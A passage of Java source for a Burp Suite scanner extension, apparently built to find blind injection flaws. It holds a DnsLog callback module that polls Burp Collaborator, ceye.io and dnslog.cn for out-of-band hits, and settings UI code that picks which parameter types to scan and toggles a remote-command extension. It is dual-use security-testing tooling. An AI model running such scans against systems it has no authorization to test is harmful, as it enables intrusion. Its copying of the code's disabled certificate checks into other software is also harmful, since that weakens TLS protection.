ArrayList(Arrays.asList(reverseDomainName2.split("[.]"))); 411 | 412 | if (splitDomainName.size() <= 0 || splitDomainName2.size() <= 0) { 413 | continue; 414 | } 415 | 416 | if (splitDomainName.size() < splitDomainName2.size()) { 417 | for (int i = splitDomainName.size(); i < splitDomainName2.size(); i++) { 418 | splitDomainName.add("*"); 419 | } 420 | } 421 | 422 | if (splitDomainName.size() > splitDomainName2.size()) { 423 | for (int i = splitDomainName2.size(); i < splitDomainName.size(); i++) { 424 | splitDomainName2.add("*"); 425 | } 426 | } 427 | 428 | int ii = 0; 429 | for (int i = 0; i < splitDomainName.size(); i++) { 430 | if (splitDomainName2.get(i).equals("*")) { 431 | ii = ii + 1; 432 | } else if (splitDomainName.get(i).equals(splitDomainName2.get(i))) { 433 | ii = ii + 1; 434 | } 435 | } 436 | 437 | if (ii == splitDomainName.size()) { 438 | return true; 439 | } 440 | } 441 | } 442 | return false; 443 | } 444 | 445 | @Override 446 | public void extensionUnloaded() { 447 | this.globalVariableReader.putBooleanData("isExtensionUnload", true); 448 | } 449 | } 450 | -------------------------------------------------------------------------------- /src/main/java/burp/CustomErrorException/TaskTimeoutException.java: -------------------------------------------------------------------------------- 1 | package burp.CustomErrorException; 2 | 3 | public class TaskTimeoutException extends RuntimeException { 4 | public TaskTimeoutException() { 5 | super(); 6 | } 7 | 8 | public TaskTimeoutException(String message) { 9 | super(message); 10 | } 11 | 12 | public TaskTimeoutException(Throwable cause) { 13 | super(cause); 14 | } 15 | 16 | public TaskTimeoutException(String message, Throwable cause) { 17 | super(message, cause); 18 | } 19 | } -------------------------------------------------------------------------------- /src/main/java/burp/CustomScanIssue.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.URL; 4 | 5 | public class CustomScanIssue implements IScanIssue { 6 | private URL url; 7 | private String issueName; 8 | private int issueType; 9 | private String severity; 10 | private String confidence; 11 | private String issueBackground; 12 | private String remediationBackground; 13 | private String issueDetail; 14 | private String remediationDetail; 15 | private IHttpRequestResponse[] httpMessages; 16 | private IHttpService httpService; 17 | 18 | public CustomScanIssue( 19 | URL url, 20 | String issueName, 21 | int issueType, 22 | String severity, 23 | String confidence, 24 | String issueBackground, 25 | String remediationBackground, 26 | String issueDetail, 27 | String remediationDetail, 28 | IHttpRequestResponse[] httpMessages, 29 | IHttpService httpService) { 30 | this.url = url; 31 | this.issueName = issueName; 32 | this.issueType = issueType; 33 | this.severity = severity; 34 | this.confidence = confidence; 35 | this.issueBackground = issueBackground; 36 | this.remediationBackground = remediationBackground; 37 | this.issueDetail = issueDetail; 38 | this.remediationDetail = remediationDetail; 39 | this.httpMessages = httpMessages; 40 | this.httpService = httpService; 41 | } 42 | 43 | @Override 44 | public URL getUrl() { 45 | return this.url; 46 | } 47 | 48 | @Override 49 | public String getIssueName() { 50 | return this.issueName; 51 | } 52 | 53 | @Override 54 | public int getIssueType() { 55 | return this.issueType; 56 | } 57 | 58 | @Override 59 | public String getSeverity() { 60 | return this.severity; 61 | } 62 | 63 | @Override 64 | public String getConfidence() { 65 | return this.confidence; 66 | } 67 | 68 | @Override 69 | public String getIssueBackground() { 70 | return this.issueBackground; 71 | } 72 | 73 | @Override 74 | public String getRemediationBackground() { 75 | return this.remediationBackground; 76 | } 77 | 78 | @Override 79 | public String getIssueDetail() { 80 | return this.issueDetail; 81 | } 82 | 83 | @Override 84 | public String getRemediationDetail() { 85 | return this.remediationDetail; 86 | } 87 | 88 | @Override 89 | public IHttpRequestResponse[] getHttpMessages() { 90 | return this.httpMessages; 91 | } 92 | 93 | @Override 94 | public IHttpService getHttpService() { 95 | return this.httpService; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/DnsLog.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.DnsLogModule.ExtensionInterface.DnsLogInterface; 8 | 9 | public class DnsLog { 10 | private DnsLogInterface dnsLog; 11 | 12 | public DnsLog(IBurpExtenderCallbacks callbacks, String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { 13 | if (callClassName == null || callClassName.length() <= 0) { 14 | throw new IllegalArgumentException("DnsLog模块-请输入要调用的dnsLog插件"); 15 | } 16 | 17 | Class c = Class.forName("burp.DnsLogModule.ExtensionMethod." + callClassName); 18 | Constructor cConstructor = c.getConstructor(IBurpExtenderCallbacks.class); 19 | this.dnsLog = (DnsLogInterface) cConstructor.newInstance(callbacks); 20 | 21 | if (this.dnsLog.getExtensionName().isEmpty()) { 22 | throw new IllegalArgumentException("请为该DnsLog扩展-设置扩展名称"); 23 | } 24 | } 25 | 26 | public DnsLogInterface run() { 27 | return this.dnsLog; 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionInterface/DnsLogAbstract.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionInterface; 2 | 3 | import com.github.kevinsawicki.http.HttpRequest; 4 | 5 | public abstract class DnsLogAbstract implements DnsLogInterface { 6 | private String extensionName = ""; 7 | 8 | private String temporaryDomainName; 9 | 10 | /** 11 | * 设置扩展名称 (必须的) 12 | * 13 | * @param value 14 | */ 15 | protected void setExtensionName(String value) { 16 | if (value == null || value.isEmpty()) { 17 | throw new IllegalArgumentException("DnsLog扩展-扩展名称不能为空"); 18 | } 19 | this.extensionName = value; 20 | } 21 | 22 | /** 23 | * 获取扩展名称 24 | * 25 | * @return String 26 | */ 27 | @Override 28 | public String getExtensionName() { 29 | return this.extensionName; 30 | } 31 | 32 | /** 33 | * 设置临时域名 34 | * 35 | * @param value 36 | */ 37 | protected void setTemporaryDomainName(String value) { 38 | this.temporaryDomainName = value; 39 | } 40 | 41 | /** 42 | * 获取临时域名 43 | * 44 | * @return String 45 | */ 46 | @Override 47 | public String getTemporaryDomainName() { 48 | return this.temporaryDomainName; 49 | } 50 | 51 | /** 52 | * 发送访问日志 53 | *

54 | * 根据传进来的 value 进行域名拼接, 接着以http get请求进行访问 55 | * 例如: 56 | * 临时域名: fs.dnslog.cn 57 | * value: testlog 58 | * 拼接:http://testlog.fs.dnslog.cn 然后以http get请求进行访问,结束 59 | * 60 | * @param value 61 | */ 62 | @Override 63 | public void sendAccessLog(String value) { 64 | if (this.getTemporaryDomainName() == null || this.getTemporaryDomainName().isEmpty()) { 65 | throw new IllegalArgumentException("临时域名获取失败, 无法发送日志"); 66 | } 67 | 68 | if (value == null || value.isEmpty()) { 69 | throw new IllegalArgumentException("sendAccessLog()方法, value参数不能为空"); 70 | } 71 | 72 | String domainName = "http://" + value + "." + this.getTemporaryDomainName(); 73 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 74 | 75 | HttpRequest request = HttpRequest.get(domainName); 76 | request.trustAllCerts(); 77 | request.trustAllHosts(); 78 | request.followRedirects(false); 79 | request.header("User-Agent", userAgent); 80 | request.header("Accept", "*/*"); 81 | request.readTimeout(3 * 1000); 82 | request.connectTimeout(3 * 1000); 83 | 84 | try { 85 | request.ok(); 86 | } catch (Exception e) { 87 | // 这里选择不处理, 因为发送过去的域名肯定是连接不到的 88 | // 所以必定爆错, 因此直接屏蔽该接口的爆错即可 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionInterface/DnsLogInterface.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionInterface; 2 | 3 | /** 4 | * DnsLog扩展的公共接口 5 | * 所有的抽象类都要继承它并实现所有的接口 6 | */ 7 | public interface DnsLogInterface { 8 | String getExtensionName(); 9 | 10 | String getTemporaryDomainName(); 11 | 12 | String getBodyContent(); 13 | 14 | void sendAccessLog(String value); 15 | 16 | String export(); 17 | 18 | void consoleExport(); 19 | } -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/BurpDnsLog.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import java.util.Map; 4 | import java.util.List; 5 | import java.util.Arrays; 6 | import java.util.Iterator; 7 | import java.io.PrintWriter; 8 | 9 | import burp.IExtensionHelpers; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IBurpCollaboratorInteraction; 12 | import burp.IBurpCollaboratorClientContext; 13 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 14 | 15 | public class BurpDnsLog extends DnsLogAbstract { 16 | private IBurpExtenderCallbacks callbacks; 17 | private IExtensionHelpers helpers; 18 | 19 | private IBurpCollaboratorClientContext burpCollaboratorClientContext; 20 | 21 | private String dnslogContent = null; 22 | 23 | public BurpDnsLog(IBurpExtenderCallbacks callbacks) { 24 | this.callbacks = callbacks; 25 | this.helpers = callbacks.getHelpers(); 26 | 27 | this.burpCollaboratorClientContext = callbacks.createBurpCollaboratorClientContext(); 28 | 29 | setExtensionName("BurpDnsLog"); 30 | 31 | this.init(); 32 | } 33 | 34 | private void init() { 35 | // 通过burp组建获取临时dnslog域名 36 | String temporaryDomainName = this.burpCollaboratorClientContext.generatePayload(true); 37 | if (temporaryDomainName == null || temporaryDomainName.length() <= 0) { 38 | throw new RuntimeException( 39 | String.format( 40 | "%s 扩展-获取临时域名失败, 请检查本机是否可使用burp自带的dnslog客户端", 41 | this.getExtensionName())); 42 | } 43 | this.setTemporaryDomainName(temporaryDomainName); 44 | } 45 | 46 | @Override 47 | public String getBodyContent() { 48 | List collaboratorInteractions = 49 | this.burpCollaboratorClientContext.fetchCollaboratorInteractionsFor(this.getTemporaryDomainName()); 50 | if (collaboratorInteractions != null && !collaboratorInteractions.isEmpty()) { 51 | Iterator iterator = collaboratorInteractions.iterator(); 52 | 53 | Map properties = iterator.next().getProperties(); 54 | if (properties.size() == 0) { 55 | return this.dnslogContent; 56 | } 57 | 58 | String content = null; 59 | for (String property : properties.keySet()) { 60 | String text = properties.get(property); 61 | if (property.equals("raw_query")) { 62 | text = new String(this.helpers.base64Decode(text)); 63 | } 64 | content += text + " "; 65 | } 66 | this.dnslogContent += content; 67 | return this.dnslogContent; 68 | } 69 | return this.dnslogContent; 70 | } 71 | 72 | @Override 73 | public String export() { 74 | String str1 = String.format("
============dnsLogExtensionDetail============
"); 75 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 76 | String str3 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName()); 77 | String str4 = String.format("=====================================
"); 78 | 79 | String detail = str1 + str2 + str3 + str4; 80 | 81 | return detail; 82 | } 83 | 84 | @Override 85 | public void consoleExport() { 86 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 87 | 88 | stdout.println(""); 89 | stdout.println("===========dnsLog扩展详情==========="); 90 | stdout.println("你好呀~ (≧ω≦*)喵~"); 91 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName())); 92 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName())); 93 | stdout.println("==================================="); 94 | stdout.println(""); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/Ceye.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import burp.Bootstrap.CustomHelpers; 4 | import burp.Bootstrap.YamlReader; 5 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 6 | import burp.IBurpExtenderCallbacks; 7 | import com.github.kevinsawicki.http.HttpRequest; 8 | 9 | import java.io.PrintWriter; 10 | 11 | public class Ceye extends DnsLogAbstract { 12 | private IBurpExtenderCallbacks callbacks; 13 | 14 | private String dnslogDomainName; 15 | 16 | private YamlReader yamlReader; 17 | 18 | private String key; 19 | private String token; 20 | private String Identifier; 21 | 22 | public Ceye(IBurpExtenderCallbacks callbacks) { 23 | this.callbacks = callbacks; 24 | 25 | this.dnslogDomainName = "http://api.ceye.io"; 26 | 27 | this.setExtensionName("Ceye"); 28 | 29 | this.yamlReader = YamlReader.getInstance(callbacks); 30 | String other = this.yamlReader.getString("dnsLogModule.other"); 31 | 32 | this.key = CustomHelpers.randomStr(8); 33 | this.token = CustomHelpers.getParam(other, "token").trim(); 34 | this.Identifier = CustomHelpers.getParam(other, "Identifier").trim(); 35 | 36 | this.init(); 37 | } 38 | 39 | private void init() { 40 | if (this.token == null || this.token.length() <= 0) { 41 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName())); 42 | } 43 | if (this.Identifier == null || this.Identifier.length() <= 0) { 44 | throw new RuntimeException(String.format("%s 扩展-Identifier参数不能为空", this.getExtensionName())); 45 | } 46 | 47 | String temporaryDomainName = this.key + "." + this.Identifier; 48 | this.setTemporaryDomainName(temporaryDomainName); 49 | } 50 | 51 | @Override 52 | public String getBodyContent() { 53 | String url = String.format("%s/v1/records?token=%s&type=dns&filter=%s", this.dnslogDomainName, this.token, this.key + "."); 54 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 55 | HttpRequest request = HttpRequest.get(url); 56 | request.trustAllCerts(); 57 | request.trustAllHosts(); 58 | request.followRedirects(false); 59 | request.header("User-Agent", userAgent); 60 | request.header("Accept", "*/*"); 61 | request.readTimeout(30 * 1000); 62 | request.connectTimeout(30 * 1000); 63 | 64 | String body = request.body(); 65 | 66 | if (!request.ok()) { 67 | throw new RuntimeException( 68 | String.format( 69 | "%s 扩展-%s内容有异常,异常内容: %s", 70 | this.getExtensionName(), 71 | this.dnslogDomainName, 72 | body 73 | ) 74 | ); 75 | } 76 | 77 | if (body.contains("[]")) { 78 | return null; 79 | } 80 | return body; 81 | } 82 | 83 | @Override 84 | public String export() { 85 | String str1 = String.format("
============dnsLogExtensionDetail============
"); 86 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 87 | String str3 = String.format("dnsLogDomainName: %s
", this.dnslogDomainName); 88 | String str4 = String.format("dnsLogRecordsApi: %s/v1/records?token=%s&type=dns&filter=%s
", this.dnslogDomainName, this.token, this.key + "."); 89 | String str5 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName()); 90 | String str6 = String.format("=====================================
"); 91 | 92 | String detail = str1 + str2 + str3 + str4 + str5 + str6; 93 | 94 | return detail; 95 | } 96 | 97 | @Override 98 | public void consoleExport() { 99 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 100 | 101 | stdout.println(""); 102 | stdout.println("===========dnsLog扩展详情==========="); 103 | stdout.println("你好呀~ (≧ω≦*)喵~"); 104 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName())); 105 | stdout.println(String.format("dnsLog域名: %s", this.dnslogDomainName)); 106 | stdout.println(String.format("dnsLogRecordsApi: %s/v1/records?token=%s&type=dns&filter=%s", this.dnslogDomainName, this.token, this.key + ".")); 107 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName())); 108 | stdout.println("==================================="); 109 | stdout.println(""); 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/DnsLogCn.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import java.io.PrintWriter; 4 | 5 | import burp.Bootstrap.CustomHelpers; 6 | import com.github.kevinsawicki.http.HttpRequest; 7 | 8 | import burp.IBurpExtenderCallbacks; 9 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 10 | 11 | public class DnsLogCn extends DnsLogAbstract { 12 | private IBurpExtenderCallbacks callbacks; 13 | 14 | private String dnslogDomainName; 15 | 16 | private String dnsLogCookieName; 17 | private String dnsLogCookieValue; 18 | 19 | public DnsLogCn(IBurpExtenderCallbacks callbacks) { 20 | this.callbacks = callbacks; 21 | 22 | this.dnslogDomainName = "http://dnslog.cn"; 23 | 24 | this.setExtensionName("DnsLogCn"); 25 | 26 | this.init(); 27 | } 28 | 29 | private void init() { 30 | String url = this.dnslogDomainName + "/getdomain.php"; 31 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 32 | 33 | HttpRequest request = HttpRequest.get(url); 34 | request.trustAllCerts(); 35 | request.trustAllHosts(); 36 | request.followRedirects(false); 37 | request.header("User-Agent", userAgent); 38 | request.header("Accept", "*/*"); 39 | request.readTimeout(30 * 1000); 40 | request.connectTimeout(30 * 1000); 41 | 42 | int statusCode = request.code(); 43 | if (statusCode != 200) { 44 | throw new RuntimeException( 45 | String.format( 46 | "%s 扩展-访问url-%s, 请检查本机是否可访问 %s", 47 | this.getExtensionName(), 48 | statusCode, 49 | url)); 50 | } 51 | 52 | // 设置 dnslog 的临时域名 53 | String temporaryDomainName = request.body(); 54 | if (request.isBodyEmpty()) { 55 | throw new RuntimeException( 56 | String.format( 57 | "%s 扩展-获取临时域名失败, 请检查本机是否可访问 %s", 58 | this.getExtensionName(), 59 | this.dnslogDomainName)); 60 | } 61 | this.setTemporaryDomainName(temporaryDomainName); 62 | 63 | String cookie = request.header("Set-Cookie"); 64 | String sessidKey = "PHPSESSID"; 65 | String sessidValue = CustomHelpers.getParam(cookie, sessidKey); 66 | if (sessidValue.length() == 0) { 67 | throw new IllegalArgumentException( 68 | String.format( 69 | "%s 扩展-访问站点 %s 时返回Cookie为空, 导致无法正常获取dnsLog数据, 请检查", 70 | this.getExtensionName(), 71 | this.dnslogDomainName)); 72 | } 73 | 74 | this.dnsLogCookieName = sessidKey; 75 | this.dnsLogCookieValue = sessidValue; 76 | } 77 | 78 | @Override 79 | public String getBodyContent() { 80 | String url = this.dnslogDomainName + "/getrecords.php"; 81 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 82 | 83 | HttpRequest request = HttpRequest.get(url); 84 | request.trustAllCerts(); 85 | request.trustAllHosts(); 86 | request.followRedirects(false); 87 | request.header("User-Agent", userAgent); 88 | request.header("Accept", "*/*"); 89 | request.header("Cookie", this.dnsLogCookieName + "=" + this.dnsLogCookieValue + ";"); 90 | request.readTimeout(30 * 1000); 91 | request.connectTimeout(30 * 1000); 92 | 93 | String body = request.body(); 94 | 95 | if (!request.ok()) { 96 | throw new RuntimeException( 97 | String.format( 98 | "%s 扩展-%s内容有异常,异常内容: %s", 99 | this.getExtensionName(), 100 | this.dnslogDomainName, 101 | body 102 | ) 103 | ); 104 | } 105 | 106 | if (body.equals("[]")) { 107 | return null; 108 | } 109 | return body; 110 | } 111 | 112 | @Override 113 | public String export() { 114 | String str1 = String.format("
============dnsLogExtensionDetail============
"); 115 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 116 | String str3 = String.format("dnsLogDomainName: %s
", this.dnslogDomainName); 117 | String str4 = String.format("dnsLogRecordsApi: %s
", this.dnslogDomainName + "/getrecords.php"); 118 | String str5 = String.format("cookie: %s=%s
", this.dnsLogCookieName, this.dnsLogCookieValue); 119 | String str6 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName()); 120 | String str7 = String.format("=====================================
"); 121 | 122 | String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7; 123 | 124 | return detail; 125 | } 126 | 127 | @Override 128 | public void consoleExport() { 129 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 130 | 131 | stdout.println(""); 132 | stdout.println("===========dnsLog扩展详情==========="); 133 | stdout.println("你好呀~ (≧ω≦*)喵~"); 134 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName())); 135 | stdout.println(String.format("dnsLog域名: %s", this.dnslogDomainName)); 136 | stdout.println(String.format("dnsLog保存记录的api接口: %s", this.dnslogDomainName + "/getrecords.php")); 137 | stdout.println(String.format("cookie: %s=%s", this.dnsLogCookieName, this.dnsLogCookieValue)); 138 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName())); 139 | stdout.println("==================================="); 140 | stdout.println(""); 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /src/main/java/burp/Ui/BaseSettingTag.java: -------------------------------------------------------------------------------- 1 | package burp.Ui; 2 | 3 | import java.awt.*; 4 | import java.util.List; 5 | import java.util.ArrayList; 6 | import javax.swing.*; 7 | 8 | import burp.IBurpExtenderCallbacks; 9 | import burp.Bootstrap.YamlReader; 10 | 11 | public class BaseSettingTag { 12 | private YamlReader yamlReader; 13 | 14 | private JCheckBox isStartBox; 15 | 16 | private JCheckBox isScanGetBox; 17 | private JCheckBox isScanPostBox; 18 | private JCheckBox isScanCookieBox; 19 | private JCheckBox isScanJsonBox; 20 | private JCheckBox isScanXmlBox; 21 | private JCheckBox isScanParamMultipartBox; 22 | 23 | private JCheckBox isScanNullParameterBox; 24 | 25 | private JCheckBox isStartRemoteCmdExtensionBox; 26 | 27 | public BaseSettingTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs, YamlReader yamlReader) { 28 | JPanel baseSetting = new JPanel(new GridBagLayout()); 29 | GridBagConstraints c = new GridBagConstraints(); 30 | this.yamlReader = yamlReader; 31 | 32 | this.input1_1(baseSetting, c); 33 | this.input1_2(baseSetting, c); 34 | 35 | this.input2_1(baseSetting, c); 36 | this.input2_2(baseSetting, c); 37 | this.input2_3(baseSetting, c); 38 | this.input2_4(baseSetting, c); 39 | this.input2_5(baseSetting, c); 40 | this.input2_6(baseSetting, c); 41 | this.input2_7(baseSetting, c); 42 | this.input2_8(baseSetting, c); 43 | 44 | this.input3_1(baseSetting, c); 45 | this.input3_2(baseSetting, c); 46 | 47 | tabs.addTab("基本设置", baseSetting); 48 | } 49 | 50 | private void input1_1(JPanel baseSetting, GridBagConstraints c) { 51 | JLabel br_lbl_1_1 = new JLabel("基础设置"); 52 | br_lbl_1_1.setForeground(new Color(255, 89, 18)); 53 | br_lbl_1_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_1_1.getFont().getSize() + 2)); 54 | c.insets = new Insets(5, 5, 5, 5); 55 | c.gridx = 0; 56 | c.gridy = 1; 57 | baseSetting.add(br_lbl_1_1, c); 58 | } 59 | 60 | private void input1_2(JPanel baseSetting, GridBagConstraints c) { 61 | this.isStartBox = new JCheckBox("插件-启动", this.yamlReader.getBoolean("isStart")); 62 | this.isStartBox.setFont(new Font("Serif", Font.PLAIN, this.isStartBox.getFont().getSize())); 63 | c.insets = new Insets(5, 5, 5, 5); 64 | c.gridx = 0; 65 | c.gridy = 2; 66 | baseSetting.add(this.isStartBox, c); 67 | } 68 | 69 | private void input2_1(JPanel baseSetting, GridBagConstraints c) { 70 | JLabel br_lbl_2_1 = new JLabel("扫描类型设置"); 71 | br_lbl_2_1.setForeground(new Color(255, 89, 18)); 72 | br_lbl_2_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_2_1.getFont().getSize() + 2)); 73 | c.insets = new Insets(15, 5, 5, 5); 74 | c.gridx = 0; 75 | c.gridy = 3; 76 | baseSetting.add(br_lbl_2_1, c); 77 | } 78 | 79 | private void input2_2(JPanel baseSetting, GridBagConstraints c) { 80 | this.isScanGetBox = new JCheckBox("扫描GET类型参数", this.yamlReader.getBoolean("scan.type.isScanGet")); 81 | this.isScanGetBox.setFont(new Font("Serif", Font.PLAIN, this.isScanGetBox.getFont().getSize())); 82 | c.insets = new Insets(5, 5, 5, 5); 83 | c.gridx = 0; 84 | c.gridy = 4; 85 | baseSetting.add(this.isScanGetBox, c); 86 | } 87 | 88 | private void input2_3(JPanel baseSetting, GridBagConstraints c) { 89 | this.isScanPostBox = new JCheckBox("扫描POST类型参数", this.yamlReader.getBoolean("scan.type.isScanPost")); 90 | this.isScanPostBox.setFont(new Font("Serif", Font.PLAIN, this.isScanPostBox.getFont().getSize())); 91 | c.insets = new Insets(5, 5, 5, 5); 92 | c.gridx = 0; 93 | c.gridy = 5; 94 | baseSetting.add(this.isScanPostBox, c); 95 | } 96 | 97 | private void input2_4(JPanel baseSetting, GridBagConstraints c) { 98 | this.isScanCookieBox = new JCheckBox("扫描Cookie类型参数", this.yamlReader.getBoolean("scan.type.isScanCookie")); 99 | this.isScanCookieBox.setFont(new Font("Serif", Font.PLAIN, this.isScanCookieBox.getFont().getSize())); 100 | c.insets = new Insets(5, 5, 5, 5); 101 | c.gridx = 0; 102 | c.gridy = 6; 103 | baseSetting.add(this.isScanCookieBox, c); 104 | } 105 | 106 | 107 | private void input2_5(JPanel baseSetting, GridBagConstraints c) { 108 | this.isScanJsonBox = new JCheckBox("扫描JSON类型参数", this.yamlReader.getBoolean("scan.type.isScanJson")); 109 | this.isScanJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanJsonBox.getFont().getSize())); 110 | c.insets = new Insets(5, 5, 5, 5); 111 | c.gridx = 0; 112 | c.gridy = 7; 113 | baseSetting.add(this.isScanJsonBox, c); 114 | } 115 | 116 | private void input2_6(JPanel baseSetting, GridBagConstraints c) { 117 | this.isScanXmlBox = new JCheckBox("扫描Xml类型参数", this.yamlReader.getBoolean("scan.type.isScanXml")); 118 | this.isScanXmlBox.setFont(new Font("Serif", Font.PLAIN, this.isScanXmlBox.getFont().getSize())); 119 | c.insets = new Insets(5, 5, 5, 5); 120 | c.gridx = 0; 121 | c.gridy = 8; 122 | baseSetting.add(this.isScanXmlBox, c); 123 | } 124 | 125 | private void input2_7(JPanel baseSetting, GridBagConstraints c) { 126 | this.isScanParamMultipartBox = new JCheckBox("扫描ParamMultipart(例如上传文件的名称)", this.yamlReader.getBoolean("scan.type.isScanParamMultipart")); 127 | this.isScanParamMultipartBox.setFont(new Font("Serif", Font.PLAIN, this.isScanParamMultipartBox.getFont().getSize())); 128 | c.insets = new Insets(5, 5, 5, 5); 129 | c.gridx = 0; 130 | c.gridy = 9; 131 | baseSetting.add(this.isScanParamMultipartBox, c); 132 | } 133 | 134 | private void input2_8(JPanel baseSetting, GridBagConstraints c) { 135 | this.isScanNullParameterBox = new JCheckBox("扫描空参数请求", this.yamlReader.getBoolean("scan.type.isScanNullParameter")); 136 | this.isScanNullParameterBox.setFont(new Font("Serif", Font.PLAIN, this.isScanNullParameterBox.getFont().getSize())); 137 | c.insets = new Insets(5, 5, 5, 5); 138 | c.gridx = 0; 139 | c.gridy = 10; 140 | baseSetting.add(this.isScanNullParameterBox, c); 141 | } 142 | 143 | private void input3_1(JPanel baseSetting, GridBagConstraints c) { 144 | JLabel br_lbl_3_1 = new JLabel("应用程序配置"); 145 | br_lbl_3_1.setForeground(new Color(255, 89, 18)); 146 | br_lbl_3_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_3_1.getFont().getSize() + 2)); 147 | c.insets = new Insets(15, 5, 5, 5); 148 | c.gridx = 0; 149 | c.gridy = 11; 150 | baseSetting.add(br_lbl_3_1, c); 151 | } 152 | 153 | private void input3_2(JPanel baseSetting, GridBagConstraints c) { 154 | this.isStartRemoteCmdExtensionBox = new JCheckBox("远程命令扩展-启动", this.yamlReader.getBoolean("application.remoteCmdExtension.config.isStart")); 155 | this.isStartRemoteCmdExtensionBox.setFont(new Font("Serif", Font.PLAIN, this.isStartRemoteCmdExtensionBox.getFont().getSize())); 156 | c.insets = new Insets(5, 5, 5, 5); 157 | c.gridx = 0; 158 | c.gridy = 12; 159 | baseSetting.add(this.isStartRemoteCmdExtensionBox, c); 160 | } 161 | 162 | public Boolean isStart() { 163 | return this.isStartBox.isSelected(); 164 | } 165 | 166 | /** 167 | * 获取允许运行插入点类型列表 168 | * 0 = GET, 1 = POST, 2 = COOKIE, 6 = JSON, 3/4 = XML, PARAM_MULTIPART_ATTR = 5 169 | * 170 | * @return 171 | */ 172 | public List getScanTypeList() { 173 | List typeList = new ArrayList(); 174 | 175 | if (this.isScanGetBox.isSelected()) { 176 | typeList.add(0); 177 | } 178 | 179 | if (this.isScanPostBox.isSelected()) { 180 | typeList.add(1); 181 | } 182 | 183 | if (this.isScanCookieBox.isSelected()) { 184 | typeList.add(2); 185 | } 186 | 187 | if (this.isScanJsonBox.isSelected()) { 188 | typeList.add(6); 189 | } 190 | 191 | if (this.isScanXmlBox.isSelected()) { 192 | typeList.add(3); 193 | typeList.add(4); 194 | } 195 | 196 | if (this.isScanParamMultipartBox.isSelected()) { 197 | typeList.add(5); 198 | } 199 | 200 | return typeList; 201 | } 202 | 203 | public List getBlackListParameters() { 204 | return this.yamlReader.getStringList("blackListParameters"); 205 | } 206 | 207 | public Boolean isStartRemoteCmdExtension() { 208 | return this.isStartRemoteCmdExtensionBox.isSelected(); 209 | } 210 | 211 | public Boolean isScanNullParameter() { 212 | return this.isScanNullParameterBox.isSelected(); 213 | } 214 | } -------------------------------------------------------------------------------- /src/main/java/burp/Ui/ScanQueueTag.java: -------------------------------------------------------------------------------- 1 | package burp.Ui; 2 | 3 | import java.awt.*; 4 | import java.text.SimpleDateFormat; 5 | import java.util.ArrayList; 6 | import java.util.Date; 7 | import java.util.List; 8 | import javax.swing.*; 9 | import javax.swing.table.AbstractTableModel; 10 | import javax.swing.table.TableModel; 11 | 12 | import burp.*; 13 | 14 | public class ScanQueueTag extends AbstractTableModel implements IMessageEditorController { 15 | 16 | private JSplitPane mjSplitPane; 17 | private List Udatas = new ArrayList(); 18 | private IMessageEditor HRequestTextEditor; 19 | private IMessageEditor HResponseTextEditor; 20 | private IHttpRequestResponse currentlyDisplayedItem; 21 | private ScanQueueTag.URLTable Utable; 22 | private JScrollPane UscrollPane; 23 | private JSplitPane HjSplitPane; 24 | private JTabbedPane 